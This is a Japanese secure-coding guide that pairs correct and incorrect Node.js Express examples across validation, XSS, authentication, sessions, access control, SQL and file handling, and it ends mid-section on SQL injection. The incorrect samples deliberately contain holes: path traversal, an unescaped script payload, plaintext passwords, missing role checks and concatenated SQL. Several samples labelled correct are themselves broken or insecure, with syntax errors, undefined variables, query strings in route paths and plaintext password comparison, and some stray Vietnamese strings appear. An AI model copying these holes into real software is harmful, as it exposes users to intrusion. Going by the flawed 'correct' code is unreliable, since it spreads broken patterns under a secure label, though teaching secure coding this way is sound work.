セキュアコーディングおよび安全なアプリ開発のベスト手法

セキュアコーディングについての紹介
セキュア コーディングは、アプリケーションを安全に開発することを目的にして、侵入者やハッカーからの攻撃を防ぐために脆弱性を最小限に抑え、安全性の高いソース コードを作成するプロセスです。
セキュアでないコードは、ソフトウェアにおける多くのセキュリティ問題の主な原因です。 コード内のエラーは、セキュリティの脆弱性、データへの不正アクセス、侵入、さらにはシステムやユーザーへの損害などの深刻な問題を引き起こす可能性があります。セキュア コーディングにより、アプリケーションとシステムは開発から展開段階まで正しく、安全に記述されることが保証されます。
なぜ、セキュアコーディングが重要なのか?
セキュアコーディングは、アプリやシステムへの攻撃やセキュリティの脆弱性から守るのに重要な役割を果たすため、ソフトウェア開発の分野においては非常に重要なことです。 セキュア コーディングはなぜ重要なのか、以下のとおりにいくつかの理由があります。
- データ保護:セキュアコーディングは、ユーザーと組織の重要な情報への不正アクセス、改ざん、盗難から避けるのに役立ちます。 アプリが安全に作成されていない場合、機密情報が漏洩し、資産の損失、組織の評判、データ セキュリティ規制の違反などの深刻な問題につながる可能性があります。
- 攻撃の防止:セキュアコーディングにより、侵入者やハッカーからの攻撃を最小限に抑えることができます。 入力データを処理およびフィルタリングすることで、SQL インジェクション、クロスサイト スクリプティング (XSS)、クロスサイト リクエスト フォージェリ (CSRF)、コマンド インジェクション、クロスサイト スクリプト インクルージョン (XSSI)、サーバーサイド リクエスト、偽造(SSRF)などの一般的な攻撃を防ぐことができます。
- 可用性と信頼性の確保:セキュアコーディングで実装されたアプリのほうが安定して確実に動作します。 エラーとセキュリティの脆弱性を最小限に抑えることで、望ましくないインシデントを回避し、システムの可用性を維持することができます。
- 損害の最小限:安全に実装されないアプリは攻撃され、システムとユーザーに深刻な損害を及ぼす可能性があります。セキュアコーディングで攻撃されたときのリスクと損害を最小限に抑えることができます。
- セキュリティ標準および規制の遵守:セキュアコーディングは、組織および業界のセキュリティ規制を満たすのに役立ちます。 医療や金融などの多くの業界は、セキュリティとデータ保護に対する厳しい規制があります。 これらの規制に従い、プライバシー権とセキュリティ規制を違反しないように、安全なコーディングを採用する必要があります。
- 信頼と評判の向上:アプリの安全性とセキュリティ性は、組織に対する信頼と肯定的な評判に貢献します。 アプリが安全であれば、アプリを利用しているユーザーや顧客はより組織に信頼するようになります。
要するに、セキュアコーディングは、アプリとシステムへの攻撃や脆弱性から守るための中核です。 これにより、ソフトウェアのセキュリティと信頼性が確保され、ユーザーと組織のデータが守られ、セキュリティ要件と標準を満たすことができます。
セキュアコーディングにおける重要な原則と手法
入力のバリデーションチェック
次の処理に進む前に、クライアントとサーバーの両方ですべての入力値を検証する必要です。
バリデーションエラーのデータはただちに拒否し、次の処理を実行させません。 無効なデータが入力されたというメッセージなどを返し、ユーザーに通知します。
GET ファイルなどのデータ取得のナビゲーション プロセスは、ユーザーの入力からファイル名を直接取得せずに、file_id などの定数を介して取得したほうがよいです。
以下は、Express.js フレームワークを使用する Nodejs コードです。
正しいコード
const express = require('express');
const fs = require('fs/promises');
const app = express();
const port = 3000;
enum File {
1: 'example.txt',
2: 'example2.txt'
}
// ファイルのデータを取得するルート
app.get('/file', async (req, res) => {
if (isNaN(req.query.fileId)) {
return res.status(400).send('fileId は数値');
}
try {
const filePath = `./files/${File[req.query.fileId]}`;
// ファイルの内容を読み込む
const fileContent = await fs.readFile(filePath, 'utf-8');
res.status(200).send(fileContent);
} catch (error) {
res.status(500).send('ファイルの読み込むとき、エラーが発生した。');
}
});
app.listen(port, () => { console.log(`Server running ${port}`); });
この例では、ユーザー データからファイル名を直接取得しなくて、ユーザーが送信したファイルのid を使用して、アクセスファイル パスを取得します。 これで望ましくないアクセスなどのセキュリティ脆弱性の問題が回避されます。
正しくないコード
const express = require('express');
const fs = require('fs/promises');
const app = express();
const port = 3000;
// ファイルからデータを取得するルート
app.get('/file', async (req, res) => {
try {
// ユーザーの入力のファイル名を使用して、ファイルの内容を読み込む
const fileContent = await fs.readFile(req.body.fileName, 'utf-8');
res.status(200).send(fileContent);
} catch (error) {
res.status(500).send('ファイルを読み込む際にエラーが発生しました。');
}
});
app.listen(port, () => { console.log(`Server running ${port}`); });
この例では、ユーザーが入力したデータのファイル名を使用しました。 これで望ましくないアクセスなどのセキュリティ脆弱性の問題が発生します。
出力エンコーディング
エンコードが必要なすべての出力データは、クロスサイト スクリプティング (XSS) の脆弱性を避けるように、HTML エンティティ エンコードを使用してデータ エンコードを実行することができます。
コマンド インジェクションに関連するエラーを回避するように、オペレーティング システム コマンドに関連するデータをきれいにします。
データを表示するときにSQL インジェクション関連の脆弱性を避けるように、SQL クエリのデータをクリアします。
以下は、Express.js フレームワークを使用する Nodejs コードです。
正しいコード
const express = require('express');
const escapeHtml = require('escape-html');
const app = express();
const port = 3000;
app.get('/customerProfile', (req, res) => {
const customer = {
name: "test",
note: "<script>alert('XSS attack!');</script>"
};
const encodedCustomerNote = escapeHtml(customer.note);
res.send(`
<h1>こんにちは、 ${customer.name}!</h1>
<p>${encodedCustomerNote}</p> `
);
});
app.listen(port, () => { console.log(`Server running ${port}`); });
以上のコードでは、HTMLを入れる前にescape-htmlライブラリを使用して、customer.noteの内容をエンコードしました。こうしたら、どの悪意のあるJavaScriptコードでもエンコードされて、普段の文章に表示されますので、実行できません。
正しくないコード
const express = require('express');
const app = express();
const port = 3000;
app.get('/customerProfile', (req, res) => {
const customer = {
name: "test",
note: "<script>alert('XSS attack!');</script>"
};
res.send(`
<h1>こんにちは、 ${customer.name}!</h1>
<p>${customer.note}</p> `
);
});
app.listen(port, () => { console.log(`Server running ${port}`); });
上記のコードではお客様の情報を返しています。しかし、customer.noteの変数では悪意のあるJavaScriptコードが含まれていて、ブラウザーがこのコードを表示させたら、XSS攻撃を引き起こします。
認証とパスワードの管理
重要なソースに対して、公開アクセスをさせずに、認証が必要です。Css、js…などのオープンソースに対しては認証がいりません。
Oauth2、もしくはGoogle authication、Facebook authenticationなどの提供されている認証仕組みを使用してもよいです。
提供されているライブラリが利用できるパスワードをエンコードしなければなりません。
ユーザーがログインする際に、ユーザー名、またはパスワードが間違った場合、ハッカーにデータを集めらせないように具体的に「ユーザー名が正しく入力されていません」、もしくは「パスワードが正しく入力されていません」というようなメッセージの代わりに、単に「ログイン情報が正しく入力されていません」と知らせたらいいです。
外部のシステムがデータを取得するために(APIやウェブサービスなど通して)、私たちのシステムに接続したら、認証を実行する必要があります。
***形式に表示されている読めないパスワードや認証リクエストにHTTP POSTを使用します。
アカウントのパスワードが強いほうがいいです。強いパスワードは少なくとも1 つの大文字、1 つの小文字、1 つの数字、1 つの特殊文字を含めて、文字数が 8 文字以上のものです。
パスワードのリセットリンクの期限が短いほうがいいです。
重要な作業に対して、2FA認証仕組みを設定する必要があります。
パスワードの更新頻度やパスワードの再利用を避ける仕組みを設定するのも必要です。
最初のログインでは一時的なパスワードの変更をさせて、認証情報を何度か正しく入力しないとアカウントをロックさせる仕組みを設定します。
以下は、Express.js フレームワークを使用した Nodejs コードです。
正しいコード
const express = require('express');
const bcrypt = require('bcrypt');
const app = express();
const port = 3000;
// たとえこちらはユーザの情報を格納するデータベース
const users = [];
app.use(express.json());
// ユーザー登録
app.post('/register', async (req, res) => {
const { username, password } = req.body;
// ユーザーが存在していることを確認する
if (users.find(user => user.username === username)) {
return res.status(400).json({ error: 'ユーザーが存在しています。' });
}
// データベースに格納する前、パスワードをエンコードする
const hashedPassword = await bcrypt.hash(password, 10);
// ユーザー情報をデータベースへ格納する
users.push({ username, password: hashedPassword });
return res.status(201).json({ message: '登録が成功しました。' });
});
// ログイン
app.post('/login', async (req, res) => {
const { username, password } = req.body;
// データベースからユーザー情報を検索する
const user = users.find(user => user.username === username);
if (!user) {
return res.status(401).json({ error: 'ログイン情報が正しく入力されていません。' });
}
// エンコードしたパスワードと比較する
const isPasswordValid = await bcrypt.compare(password, user.password);
if (!isPasswordValid) {
return res.status(401).json({ error: 'ログイン情報が正しく入力されていません。' });
}
return res.status(200).json({ message: 'ログインが成功しました。' });
});
app.listen(port, () => { console.log(`Server running ${port}`); });
上記のコードにおいて、アカウントを登録するとき、パスワードはデータベースに格納する前に、エンコードされて、普通の文字として格納されないので、アプリケーションのセキュリティを向上させます。
ユーザーがログインする際、入力したパスワードをデータベースに格納しているエンコードされたパスワードと比較して、ユーザー名、またはパスワードを正しく入力していない場合、ハッカーに情報を集めさせないように「ログイン情報が正しく入力されていません。」という共通メッセージを出力します。
正しくないコード
const express = require('express');
const bcrypt = require('bcrypt');
const app = express();
const port = 3000;
// たとえこちらはユーザの情報を格納するデータベース
const users = [];
app.use(express.json());
// ユーザー登録
app.post('/register', async (req, res) => {
const { username, password } = req.body;
// ユーザーが存在していることを確認する
if (users.find(user => user.username === username)) {
return res.status(400).json({ error: 'ユーザーが存在しています。' });
}
// パスワードをエンコードなしでデータベースに格納する
users.push({ username, password});
return res.status(201).json({ message: '登録が成功しました。' });
});
// ログイン
app.post('/login', async (req, res) => {
const { username, password } = req.body;
// データベースからユーザーの情報を検索する
const user = users.find(user => user.username === username);
if (!user) {
return res.status(401).json({ error: 'ユーザー名が正しく入力されていません。' });
}
// パスワードを比較する
if (password !== user.password) {
return res.status(401).json({ error: 'パスワードが正しく入力されていません。' });
}
return res.status(200).json({ message: 'ログインが成功しました。' });
});
app.listen(port, () => { console.log(`Server running ${port}`); });
上記のコードにおいて、ユーザーがアカウントを登録する時、パスワードがデータベースに格納する前にエンコードされないので、アプリケーションのセキュリティ標準に違反します。
ユーザーがログインする際、ユーザー名、またはパスワードを正しく入力していないと、「ユーザー名が正しく入力されていません。」や「パスワードが正しく入力されていません。」などの具体的なエラーメッセージが出力されているというセキュリティ脆弱性があります。
セッションの管理
idを使用するセッションを作成するには、セッション スニッフィングや推測攻撃が回避できるように偶然性を確保しなければなりません。
ログアウトしたら、すぐにセッションを終わらせます。
ログアウト機能はユーザーがログアアウトしたいときはログアウトできるように、認証したすべてのサイトにつかなければなりません。
不正アクセスを制限するために、一人のユーザーにセッションが2つ以上同時に存在することを許可しません。
再認証の時、元のバージョンと重複ならないように新しいidのセッションを生成する必要があります。
セッションの有効期限を設定したほうがいいです。
以下は、Express.js フレームワークを使用した Nodejs コードです。
正しいコード
const express = require('express');
const session = require('express-session');
const app = express();
const port = 3000;
// ミドルウェアセッションを利用する
app.use(session({
secret: 'secretKey',
resave: true,
saveUninitialized: true,
cookie: { maxAge: 86400000) }
}));
app.use(express.json());
// たとえ、こちらはユーザーの情報を格納するデータベース
const users = [ { username: 'test', password: 'password_hash' } ];
// Kユーザーがログインしていることを確認する
function isAuthenticated(req, res, next) {
if (req.session && req.session.username) {
return next();
}
return res.status(401).json({ error: '続行するには、ログインしてください。' });
}
// ログイン
app.post('/login', (req, res) => {
const { username, password } = req.body;
const user = users.find(user => user.username === username);
if (!user || user.password !== password) {
return res.status(401).json({ error: 'ユーザー名、またはパスワードが正しく入力されていません。' });
}
req.session.username = username;
return res.status(200).json({ message: 'ログインが成功しました。' });
});
// ログインした後、ユーザーの情報を表示する
app.get('/profile', isAuthenticated, (req, res) => {
const username = req.session.username;
return res.status(200).json({message: `個人情報:${username}`});
});
// ログアウト
app.post('/logout', isAuthenticated, (req, res) => {
req.session.destroy();
return res.status(200).json({ message: 'ログアウトが成功しました。' });
});
app.listen(port, () => { console.log(`Server running ${port}`); });
上記の例では、ユーザーがログインに成功したら、ユーザー名をセッションに格納して、セッションの切れ時間は一日間と設定します。 /profileと/logoutルートはログインしているユーザーのみアクセスさせて、ログインしている状態を確認するために、セッションの情報を検証します。ユーザーがログアウトしたら、このセッションを終了して、ユーザーが再ログインするときに、また新しいセッションを生成します。
正しくないコード
const express = require('express');
const session = require('express-session');
const app = express();
const port = 3000;
// ミドルウェアセッションを利用する
app.use(session({
secret: 'secretKey',
resave: false,
saveUninitialized: false,
}));
app.use(express.json());
// たとえ、こちらはユーザーの情報を格納するデータベース
const users = [ { username: 'test', password: 'password_hash' } ];
// ユーザーがログインしていることを確認する
function isAuthenticated(req, res, next) {
if (req.session && req.session.username) {
return next();
}
return res.status(401).json({ error: '続行するには、ログインしてください。' });
}
// ログイン
app.post('/login', (req, res) => {
const { username, password } = req.body;
const user = users.find(user => user.username === username);
if (!user || user.password !== password) {
return res.status(401).json({ error: 'ユーザー名、またはパスワードが正しく入力されていません。' });
}
req.session.username = username;
return res.status(200).json({ message: 'ログインが成功しました' });
});
// ログインした後、ユーザーの情報を表示する
app.get('/profile', isAuthenticated, (req, res) => {
const username = req.session.username;
return res.status(200).json({message: `Thông tin cá nhân: ${username}`});
});
// ログアウト
app.post('/logout', isAuthenticated, (req, res) => {
return res.status(200).json({ message: 'ログアウトが成功しました。' });
});
app.listen(port, () => { console.log(`Server running ${port}`); });
上記の例では、ユーザーがログインに成功したら、ユーザー名をセッションに格納しますが、有効期限を設定しません。ユーザーがログアウトしたとしても、セッションがキャンセルされなく、そのまま存在しています。
アクセス制御
アカウントの権限に該当なアクセス権限を正しく付与できるように、HTTPリクエストやAjaxなどで送信されたリクエストを含め、すべての送信されたリクエストに対して、アクセス権限の検証を実行しなければなりません。アクセス権限がない材料へのアクセスを避けます。
ウェブサイトの機能を実行しているコードのロジックに影響されなく、管理しやすくなるように、一元管理を実行する必要があります。
重要な材料へのアクセスは権限が付与されているユーザのみアクセスできるとアクセス制御する必要があります。
アプリはアクセス権限政策についての明細な資料を持たなければなります。
アクセス権限変更、もしくはアクセス権限に関する業務のロジック変更が発生した場合、すぐにアカウントを無効化して、ログインセッションを終了します。ユーザーが再度ログインしなければ、続行できません。
アカウントはしばらく使っていないと、一時的にアカウントを無効化する仕組みを適用します。
クライアント側でユーザーのデータを格納しなけらばならない場合、データを暗号化して、サーバーで整合性を検証しなければなりません。
正しい先に権限を付与します。アクセス権限を持っているユーザーのみ、システムの特定の材料へアクセスできます。
以下は、Express.js フレームワークを使用した Nodejs コードです。
正しいコード
const express = require('express');
const app = express();
const port = 3000;
// たとえ、こちらはユーザーの情報を格納しているデータベース
const users = [
{ username: 'user1', role: 'admin' },
{ username: 'user2', role: 'user' }
];
// ユーザーの権限を検証するミドルウェア
function checkRole(role) {
return (req, res, next) => {
const user = users.find(user => user.username === req.session.username);
if (user && user.role === role) {
return next();
}
return res.status(403).json({ error: 'アクセス権限がありません。' });
};
}
app.use(express.json());
app.get('/profile', (req, res) => {
const username = req.session.username;
return res.status(200).json({message: `個人情報: ${username}`});
});
app.get('/admin', checkRole('admin'), (req, res) => {
return res.status(200).json({ message: '管理ページ' });
});
app.listen(port, () => { console.log(`Server running ${port}`); });
上記の例では、ユーザーの権限を検証するために、checkRoleミドルウェアを使います。 /profile ルートはすべてのユーザーをアクセスさせます。/adminルートは管理者権限を持っているユーザーのみ管理ページへアクセスさせます。アクセス権限がなければ、403 (Forbidden)というステータスコードが返却されます。
正しくないコード
const express = require('express');
const app = express();
const port = 3000;
// たとえ、こちらはユーザーの情報を格納しているデータベース
const users = [
{ username: 'user1', role: 'admin' },
{ username: 'user2', role: 'user' }
];
app.use(express.json());
app.get('/profile', (req, res) => {
const username = req.session.username;
return res.status(200).json({message: `T個人情報: ${username}`});
});
app.get('/admin', (req, res) => {
return res.status(200).json({ message: '管理ページ' });
});
app.listen(port, () => { console.log(`Server running ${port}`); });
上記の例では、/profileと/adminルートとどちらも権限制限なく、すべてのユーザーをアクセスさせます。というと、一般ユーザでも管理ページへアクセスできるので、とても危ないです。
エラーハンドリングとロギング
ウェブサイトでエラーが発生した場合、エラーページの定義を行って返却し、共通エラーを知らせなければなりません。フレームワークのデフォルトエラーページはアプリケーションやバージョンの情報を含めていますので、使わないほうがいいです。
ログは以下のように重要なイベントをすべて記載する必要があります。
- .入力値の全てのバリデーションエラー
- 全ての例外ケース
- 全てのアクセス制御のエラー
- バリデーションチェックの時の全てのケース、特には失敗したケース
- 何度もログインしようとしたケース、もしくはセッションの有効期限になったケース
- 全ての管理機能
ログには余計なシステムの情報、アプリのバージョン情報、またはユーザーのパスワードなどの機密情報を記載しないことです。
ログへのアクセスはアクセス権限を持っているユーザのみに制限します。
ログが重要なイベントの情報を記載する必要です。例えば:イベントが発生した時点、イベントの深刻さ、イベントのタグ、イベントを起こしたアカウントの情報、IPソース、Dest IP、イベントの記載など。
問題が発生した場合、経緯を遡ることができるように、エラーハンドリングの情報は成功イベントや失敗イベントをすべて記載する必要です。
Web サイトからのエラー返信では、システムの詳細、アプリのバージョン、アカウント情報などの機密情報を漏洩しないようにすることです。
以下は、Express.js フレームワークを使用した Nodejs コードです。
正しいコード
const express = require('express');
const winston = require('winston');
const app = express();
const port = 3000;
// ロガーを設定する
const logger = winston.createLogger({
level: 'info',
format: winston.format.simple(),
transports: [
new winston.transports.Console(),
new winston.transports.File({ filename: 'error.log', level: 'error' })
]
});
// エラーハンドリング用のミドルウェア
app.use((err, req, res, next) => {
logger.error(err.stack);
res.status(500).json({ error: 'Có lỗi xảy ra.' });
});
// ルートがエラーを起こしました
app.get('/error', (req, res, next) => {
const error = new Error('message error');
next(error);
});
app.listen(port, () => { console.log(`Server running ${port}`); });
上記のコードではwinstonライブラリを使って、ロガーを作成し、エラー情報を記載して、”error.log”ファイルに格納するように設定します。/errorルートはエラーが発生したことを示すために使用されています。このルートで、エラーを起こして、next()という関数でエラーをエラーハンドリングミドルウェアに渡します。ロガーを使用すれば、アプリの管理がより簡単になります。
正しくないコード
const express = require('express');
const app = express();
const port = 3000;
// エラーハンドリング用のミドルウェア
app.use((err, req, res, next) => {
res.status(500).json({ error: 'Có lỗi xảy ra.' });
});
// ルートがエラーを起こしました
app.get('/error', (req, res, next) => {
const error = new Error('message error');
next(error);
});
app.listen(port, () => { console.log(`Server running ${port}`); });
上記のコードはwinstonライブラリを使って、ロガーを作成し、エラー情報を記載しません。この場合、プログラムにはエラーが発生したら、エラーの調査や修正などが難しいです。
データ保護
ユーザー名とパスワードを自動入力する機能を消します。
ユーザー名、パスワード、トーケン、セッションのidなどの機密情報はHTTP GETのパラメータとして渡しません。
ソースコードにデータベース、やユーザーのアクセス情報、またはシステムのほかの機密情報などを含めているコメントなどの必要ないコメントをすべて削除します。
各アカウントの役割に基づいて権限を割り当てることは、不正アクセスや誤ったアクセスを制限し、データの損失を避けるのに貢献します。
サーバーサイドのソースコードがユーザーにダウンロードされないように、ソースコードフォルダーの権限を設定し、ソースコードとその保存パスを漏洩させないようにします。
サーバに格納されている機密情報へのアクセスの制御を適当に実施します。
クライアント側ではHTTPヘッダーのCache-Control: no-storeなどの使用できる機密情報を含めているサイトのキャッシュを無効にします。
以下は、Express.js フレームワークを使用した Nodejs コードです。
正しいコード
const express = require('express');
const app = express();
const port = 3000;
// ユーザー検索
app.get('/user?name=test&email=test@gmail.com', async (req, res) => {
const result = await userService.userSearch(req.query);
return res.status(200).json(result);
});
app.listen(port, () => { console.log(`Server running ${port}`); });
上記のコードでは、 /userルートで名前とメールを使ってユーザーを検索して、該当な結果を返します。
名前とメールは機密情報ではないので、普通に検索できます。
正しくないコード
const express = require('express');
const app = express();
const port = 3000;
// ユーザー検索
app.get('/user?password=test123&email=test@gmail.com', async (req, res) => {
const result = await userService.userSearch(req.query);
return res.status(200).json(result);
});
app.listen(port, () => { console.log(`Server running ${port}`); });
上記のコードでは、 /userルートでパスワードとメールを使ってユーザーを検索して、該当な結果を返します。
パスワードは機密情報なので、セキュリティ標準に違反しています。
コミュニケーションセキュリティ
別のウェブサイトにアクセスする前にHTTPリファラからセッションのid、トーケンなどの機密情報のパラメータを外すようにします。
外部システムが私たちのシステムにアクセスする場合、TLS接続を設定しなければなりません。
すべての機密情報を転送するためにTLSを使用して暗号化を実行することで、セキュアな通信を保護します。
ウェブサイトですべての認証されたアクセスが必要な内容やすべてのアクセス操作にたいして、常にTLS接続を使用するように設定します。
UTF-8エンコーディング文字セットは暗号化された接続に使用できます。
以下はExpress.jsフレームワークを使用したNode.jsのコードです。
正しいコード
const https = require('https');
const fs = require('fs');
const express = require('express');
const port = 443;
const app = express();
app.get('/secure', (req, res) => {
console.log('データは安全に渡されます。');
res.redirect('https://example.com');
});
// Tạo server HTTPS
https.createServer({
key: fs.readFileSync('/path/to/private-key.pem'),
cert: fs.readFileSync('/path/to/certificate.pem')
}, app).listen(port);
上記の例では、httpsモジュールを使用してHTTPSプロトコルを利用するサーバーを作成しました。ユーザーが/secureルートにアクセスするとき、データはHTTPSプロトコルを介して安全に転送され、https://example.comドメインにリダイレクトされます。情報が転送中に盗まれたり変更されたりすることはなく、HTTP リファラーには機密情報が含まれていないことが保証されます。
正しくないコード
const https = require('https');
const fs = require('fs');
const express = require('express');
const port = 443;
const app = express();
app.get('/secure?session_id=xxx', (req, res) => {
res.redirect('https://example.com');
});
// HTTPSサーバーを作成する
https.createServer({
key: fs.readFileSync('/path/to/private-key.pem'),
cert: fs.readFileSync('/path/to/certificate.pem')
}, app).listen(port);
上記の例では、ユーザーが/secureルートにアクセスすれば、https://example.comドメインにリダイレクトされます。このとき、HTTPリファラーにはセッションのidなどの機密情報が含まれており、https://example.comドメインからアクセス可能です。
システム構成
システム構成を管理しやすく、セキュリティリスクを最小限に抑えるように、ソースコード、バージョン履歴、変更履歴、およびすべてのシステムコンポーネントの変更ログを管理するシステムが必要です。
それぞれの開発、テスト、本番環境は、資源やデータベースを独立にして、共有しないように設定する必要があります。データを効果的に管理し、テストシステムから本番システムへの攻撃のリスクを避けるためです。
HTTPレスポンスからOS、ウェブサーバーバージョン、デバッグ情報、またはソースコードに関連する不要な情報を外すことで、攻撃者が情報を収集し、ウェブサイトへより深く攻撃を回避します。
デプロイする前に、本番環境で使用されないテストコードやデバッグコードなどをソースコードから削除するようにします。
機密情報や重要な情報を含むファイルが漏洩されないように、Webサーバー上でのディレクトリリスティング機能を無効にします。
サーバー、OS、フレームワーク、およびシステムのすべてのコンポーネントが安全でセキュリティホールがないバージョン、できれば最新バージョンを使用するようにします。
公開済みのセキュリティエクスプロイトコードからの攻撃を制限するように、サーバー、OS、フレームワーク、およびシステムのすべてのコンポーネントが、開発者からのセキュリティパッチを常に更新するようにします。
以下はExpress.jsフレームワークを使用したNode.jsのコードです。
正しいコード
const express = require('express');
const app = express();
const port = 3000;
// データベース構成に環境変数を読み込む
const dbConfig = {
host: process.env.DB_HOST,
username: process.env.DB_USERNAME,
password: process.env.DB_PASSWORD,
database: process.env.DB_DATABASE'
};
// データベースへの接続を実行する
function connectToDatabase(config) {
// こちらにデータベースに接続するコードを実装する
}
connectToDatabase(dbConfig);
app.listen(port, () => { console.log(`Server running ${port}`); });
上記の例では、データベースの設定情報(DB_HOST、DB_USERNAME、DB_PASSWORD、DB_DATABASEなど)を環境変数に保存しています。環境変数を使用することで、ソースコードを修正せずにシステムの構成を簡単に調整でき、ソースコードにあるパスワードなどの重要な情報が漏れるリスクを軽減して、システム構成を管理やすく、安全な展開が容易にできます。
正しくないコード
const express = require('express');
const app = express();
const port = 3000;
const dbConfig = {
host: 'host',
username: 'username',
password: 'password',
database: 'database'
};
// データベースへの接続を実行する
function connectToDatabase(config) {
// こちらにデータベースに接続するコードを実装する
}
connectToDatabase(dbConfig);
app.listen(port, () => { console.log(`Server running ${port}`); });
上記の例では、データベースの設定情報を環境変数ではなくコードに直接書き込んでいます。この方法では、システム構成を調整する際にソースコードを修正する必要になり、ソースコードにあるパスワードなどの重要な情報が漏れるリスクがあり、構成の管理と安全な展開が困難になります。
データベースのセキュリティ
データベースに接続する各アカウントには、機能、任務、および権限に基づいて明確に異なる権限を付与する必要です。
デフォルトのアカウントやシステムの要件に使用されていないアカウントは、システムから削除するようにします。
アクセスしていないデータベースをクローズします。
データベース接続文字列は個別の設定ファイルに保存され、強力な暗号化アルゴリズムで安全に暗号化する必要があります。
データベースアクセスのアカウント/パスワードは強固で、デフォルトの情報や推測しやすいものを使用しないほうが良いです。
データベースは最低権限のユーザーで実行され、明確な権限が与えられ、特定のデータベースへのアクセスのみを許可し、他のデータベースからの攻撃やデータの悪用を防止します。
クエリに渡す前に入力データを検証することです。
SQLクエリにパラメータを渡す形で、クエリとデータが独立になります。SQLクエリで文字列を連結する代わりに、パラメータは変数を通じて渡されます。これにより、有害なデータが渡されても、SQLインジェクション攻撃になりません。
以下はExpress.jsフレームワークを使用したNode.jsコードです。
正しいコード
const express = require('express');
const mysql = require('mysql');
const app = express();
const port = 3000;
// データベースに接続する
const db = mysql.createConnection({
host: 'localhost',
user: 'username',
password: 'password',
database: 'mydb'
});
db.connect(err => {
if (err) {
console.error('データベース接続エラー:', err); return;
}
console.log('データベースへの接続ができました。');
});
app.use(express.json());
// 新しい本を作成する
app.post('/book', (req, res) => {
const { title, author } = req.body;
const query = 'INSERT INTO books (title, author) VALUES (?, ?)';
db.query(query, [title, author], (err, result) => {
if (err) {
return res.status(500).json({ error: 'エラーが発生しました。' });
}
return res.status(201).json({ message: '作成ができました。' });
});
});
// 本一覧を取得する
app.get('/book', (req, res) => {
const query = 'SELECT * FROM books where title = ?';
db.query(query, [title],(err, result) => {
if (err) {
return res.status(500).json({ error: 'エラーが発生しました。' });
}
return res.status(200).json(result);
});
});
app.listen(port, () => { console.log(`Server running ${port}`); });
上記の例では、MySQLデータベースに接続して操作するために、mysqlライブラリを使用しています。SQLクエリのセキュリティを守るために、パラメータを使用しています。これにより、ユーザーが有害なデータをSQLクエリに渡すことが回避できて、SQLインジェクション攻撃が防止できます。
正しくないコード
const express = require('express');
const mysql = require('mysql');
const app = express();
const port = 3000;
// データベースに接続する
const db = mysql.createConnection({
host: 'localhost',
user: 'username',
password: 'password',
database: 'mydb'
});
db.connect(err => {
if (err) {
console.error('データベース接続エラー:', err); return;
}
console.log('データベースへの接続ができました。');
});
app.use(express.json());
// 新しい本を作成する
app.post('/book', (req, res) => {
const { title, author } = req.body;
const query = 'INSERT INTO books (title, author) VALUES (title, author)';
db.query(query, (err, result) => {
if (err) {
return res.status(500).json({ error: 'エラーが発生しました。' });
}
return res.status(201).json({ message: '作成ができました。' });
});
});
// 本一覧を取得する
app.get('/book', (req, res) => {
const query = 'SELECT * FROM books where title =' + title;
db.query(query, (err, result) => {
if (err) {
return res.status(500).json({ error: 'エラーが発生しました。' });
}
return res.status(200).json(result);
});
});
app.listen(port, () => { console.log(`Server running ${port}`); });
上記の例では、SQLクエリにパラメータを渡す代わりに、SQLクエリ内で文字列を連結しています。これで、SQLインジェクション攻撃のリスクが高まります。
ファイル管理
攻撃者による不正な変更を防ぐため、フォルダーやファイルの権限を制御するように設定したほうがよいです。
攻撃者がウェブサイトの絶対パス (/var/www/html/uploads/test.jpgなど) から他の脆弱性を攻撃する可能性があるため、絶対パスを返さないようにします。ファイル名またはファイルを含むディレクトリのパス (/uploads/test.jpgなど) のみを返すようにしたほうが良いです。
ウェブサービスを実行しているサーバーと同じサーバでファイルを保存しないこと。ファイルを別のサーバーに保存するか、Amazon S3などの第三者のファイルストレージサービスを使用するようにします。
サーバーにアップロードを許可するファイル(ヘッダーファイル)の種類すること。アップロード機能に対して、機能要件に適したファイルヘッダーのホワイトリストを作成する必要があります。(例: プロフィール写真のアップロード機能は、Content-typeがimage/jpegとimage/pngのみを許可します)。
ユーザーがアップロードを実行する前に認証を求めること。ユーザーの認証は、不正な有害ファイルのアップロードを制限し、攻撃が発生した際にユーザーのトレースに役に立ちます。
サーバーにアップロードを許可するファイルの種類(拡張子ファイル)を制限すること。アップロード機能に対して、機能要件に適したファイルのホワイトリストを作成する必要があります。(例: プロフィール写真のアップロード機能は、pngとjpgのみを許可します。)
ユーザーがアップロードしたファイルを検証するためにウイルススキャナーを使用すること。これで、ユーザーがアップロードした有害なファイルやウイルスがクリアできます。
以下は、Express.jsフレームワークを使用したNode.jsのコードです。
正しいコード
const express = require('express');
const fs = require('fs');
const path = require('path');
const app = express();
const port = 3000;
app.use(express.json());
app.use(express.static('public'));
// ファイルダウンロード
app.get('/download/:filename', (req, res) => {
const requestedFile = req.params.filename;
if (!/^[a-zA-Z0-9._-]+$/.test(requestedFile)) {
return res.status(400).send('ファイル名が正しくないです。');
}
const filePath = path.join(__dirname, 'uploads', requestedFile);
if (!fs.existsSync(filePath)) {
return res.status(404).json({ error: 'ファイルが存在していません。' });
}
const fileStream = fs.createReadStream(filePath);
res.setHeader('Content-Disposition', `attachment; filename=${requestedFile}`);
fileStream.pipe(res);
});
app.listen(port, () => { console.log(`Server running ${port}`); });
上記の例では、ファイルをダウンロードする際、HTTPレスポンスに ‘Content-Disposition’ ヘッダーを設定するために res.setHeader() メソッドを使用しています。これにより、ファイルは指定された名前で添付ファイルとしてダウンロードされることが指定されます。このように添付ファイルを使用すれば、ユーザーはサーバー上のファイルの絶対パスを知らずに、ファイルを受け取ることができます。これで、システム構造に関する情報を守って、絶対パスに基づく攻撃を防ぎます。
正しくないコード
const express = require('express');
const fs = require('fs');
const path = require('path');
const app = express();
const port = 3000;
app.use(express.static('public'));
// ファイルダウンロード
app.get('/download/:filename', (req, res) => {
const requestedFile = req.params.filename;
const filePath = path.join(__dirname, 'uploads', requestedFile);
if (!fs.existsSync(filePath)) {
return res.status(404).json({ error: 'ファイルが存在していません。' });
}
res.download(filePath, requestedFile, err => {
if (err) {
console.error('ファイルダウンロードエラー:', err);
return res.status(500).json({ error: 'エラーが発生しました。' });
}
});
});
app.listen(port, () => { console.log(`Server running ${port}`); });
この例では、ファイルの絶対パスが返されます。
一般的な攻撃エラーと予防方法
SQLインジェクション
SQLインジェクションは、アプリケーションのクエリの脆弱性を利用する技術です。というと、元のクエリを歪めるためにSQLコードを挿入して実行することによって、データベースからデータを抽出したり、エラーを生成したり、システムのデータを破壊したりすることができます。
例:次のような関数があります。
const getUserByUserName = (userName: string) => { const query = 'SELECT * FROM Users WHERE userName = ’ + userName; return query.excute(); }
